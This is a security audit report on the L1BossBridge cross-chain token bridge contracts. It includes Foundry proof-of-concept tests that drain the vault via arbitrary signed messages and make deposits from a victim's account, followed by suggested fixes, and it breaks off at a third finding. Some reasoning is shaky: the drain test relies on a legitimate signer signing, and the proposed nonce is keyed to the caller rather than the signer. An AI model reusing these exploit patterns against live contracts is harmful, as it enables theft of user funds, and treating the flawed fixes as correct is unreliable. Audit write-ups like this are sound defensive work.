L1BossBridge Protocol Audit Report

Version 1.0

AlbertoGuirado

November 24, 2024

Alberto Guirado Fernandez

September, 2024

Prepared by: Lead Auditors:

- ALB

Table of Contents

Protocol Summary

The L1TokenBridge protocol is a cross-layer token bridging solution designed to facilitate secure and efficient transfer of tokens between Layer 1 (L1) and Layer 2 (L2) networks. It provides users with the ability to lock tokens on L1, emit events for off-chain monitoring, and mint corresponding tokens on L2, as well as withdraw tokens from L2 to L1 using cryptographic proofs.

The protocol leverages smart contracts for managing deposits, withdrawals, and event emissions. Key features include support for token locking, decentralized off-chain processing for minting tokens on L2, and a signature-based mechanism for authorizing withdrawals back to L1. This approach ensures compatibility with various Layer 2 solutions, including optimistic rollups and ZK-rollups, while adhering to security best practices.

By bridging assets across layers, L1TokenBridge aims to enhance scalability, lower transaction costs, and promote broader interoperability within the blockchain ecosystem.

Disclaimer

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash

`be6204f1f3f916fca7f5d72664d293e5b5d34444`

Scope

./src/ #– L1BossBridge.sol #– L1Token.sol #– L1Vault.sol #– TokenFactory.sol

Roles

Executive Summary

Issues found

Severtity	Numb of issues found
High	3
Medium	1
Low	1
Informational	+2
Gas	1
Total	+8

FINDINGS

HIGH

[H-1] Lack of Message Validation Allows Unauthorized Calls and Asset Draining. An user can deposit once and withdraw to drain and steal the vault

Description
The `sendToL1` function enables a signer to authorize a message containing a target address, value, and arbitrary calldata. However, there are critical vulnerabilities:
1. **Lack of Validation for Message Contents**: The function does not verify the integrity or purpose of the `message`. An attacker could craft a malicious message to authorize a call to a malicious contract or drain assets from the contract.
2. **Excessive Gas Costs for Malicious `data`**: The `data` field in the decoded message can contain highly complex or gas-intensive payloads, potentially causing denial-of-service (DoS) or inefficiencies.

Impact
- **Unauthorized Transfers**: An attacker can exploit the lack of message validation to drain ETH or execute arbitrary calls with funds from the contract.
- **Denial of Service (DoS)**: Malicious `data` can include loops or heavy computations that consume excessive gas, potentially disrupting the contract's functionality.

Proof of concept

Proof of code

Place the following into `.t.sol`

```
function testUnauthorizedMessage() public {
    // Assume accounts[0] is the attacker
    address attacker = accounts[0];
    bytes memory maliciousMessage = abi.encode(attacker, 100 ether, hex
        "");

    // Maliciously signed by a legitimate signer
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(signers[0], keccak256(
        maliciousMessage));

    // Execute the attack
    vm.prank(attacker);
    l1BossBridge.sendToL1(v, r, s, maliciousMessage);

    // Check that funds were drained
    assertEq(address(attacker).balance, 100 ether, "Attacker drained
        the contract");
}

function testHighGasPayload() public {
    address target = accounts[1];
    uint256 value = 1 ether;
    bytes memory heavyData = hex"600080600080600080..."; // Payload
        with heavy gas consumption

    bytes memory message = abi.encode(target, value, heavyData);
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(signers[0], keccak256(
        message));

    // Expect DoS or failure due to excessive gas
    vm.expectRevert();
    l1BossBridge.sendToL1(v, r, s, message);
}
```

Recommended Mitigation To prevent something like this, we need to use `useNone` or `deadline` parameters which can only be used *once*

In this code, we're adding a mapping with the nonces of each user who wants to withdraw.

```
    mapping(address => uint256) public nonces; // Mapping to store the
        nonce of each signer
    mapping(address => bool) public signers;   // List of authorized
        signing addresses

    event SentToL1(address indexed target, uint256 value, bytes data,
        uint256 nonce);

    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
        message) public nonReentrant whenNotPaused {
        // Recover the signer from the signature and the nonce
        address signer = ECDSA.recover(
            MessageHashUtils.toEthSignedMessageHash(keccak256(abi.
                encodePacked(message, nonces[msg.sender]))), // Include
                the nonce in the hash
            v, r, s
        );

        // Verify if the signer is authorized
        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        // Decode the message
        (address target, uint256 value, bytes memory data) = abi.decode
            (message, (address, uint256, bytes));

        // Execute the call
        (bool success, ) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }

        // Emit the event
        emit SentToL1(target, value, data, nonces[msg.sender]);

        // Increment the nonce so the same signature can't be reused
        nonces[msg.sender]++;
    }
```

1. **Validate Message Integrity**
   Include a strict validation mechanism for the decoded `message` contents. For example:

```
require(target != address(0), "Invalid target address");
require(value <= address(this).balance, "Insufficient contract
    balance");
require(data.length <= MAX_DATA_SIZE, "Data size exceeds limit");
```

2. **Add Limits on Gas Usage**
   Implement a gas limit mechanism or restrict the complexity of the `data` payload to prevent gas abuse.
3. **Use Domain-Specific Messages**
   Introduce a structured message schema with a clear purpose, such as withdrawals only, and reject messages that do not comply.
4. **Log Critical Operations**
   Emit detailed events for message processing and decoding to aid in detecting unauthorized attempts.

[H-2] Missing Validation of `from` Parameter Allows Unauthorized Deposits

Description
The `depositTokensToL2` function does not validate that the `from` parameter corresponds to `msg.sender`. This allows an attacker to impersonate another user and deposit tokens from their account without authorization. Additionally, the vault itself can act as the `from` address, enabling unintended behaviors such as self-depositing.

Impact
- **Unauthorized Token Transfers**: An attacker can deposit tokens from another user's account, leading to potential theft.
- **Compromised Vault Logic**: The vault acting as `from` could result in recursive deposit vulnerabilities or misuse of funds held in the vault.

Proof of concept

Proof of code

Place the following into `.t.sol`

```
function testUnauthorizedDeposit() public {
    // Assume accounts[0] is an attacker and accounts[1] is a victim.
    address attacker = accounts[0];
    address victim = accounts[1];
    uint256 depositAmount = 100 ether;

    // Attacker has no tokens, victim has sufficient balance
    vm.prank(victim);
    token.mint(victim, depositAmount);

    // Attacker fakes the victim's address
    vm.prank(attacker);
```

```
    l1BossBridge.depositTokensToL2(victim, attacker, depositAmount);

    // Check the balances
    assertEq(token.balanceOf(victim), 0, "Victim's balance should be
       drained");
    assertEq(token.balanceOf(address(vault)), depositAmount, "Tokens
       should be in the vault");
}
```

Recommended Mitigation

- Ensure the `from` parameter matches the `msg.sender` by adding a check: `solidity require(from == msg.sender, "L1BossBridge: Unauthorized deposit source");` - Follow the Checks-Effects-Interactions (CEI) pattern to prevent potential reentrancy or misuse of emitted events: 1. Perform checks and validations first. 2. Update state variables (e.g., recording deposits or balances). 3. Interact with external contracts or emit events last.

[H-3] Unsafe Deployment of ERC20 Contracts Without Validation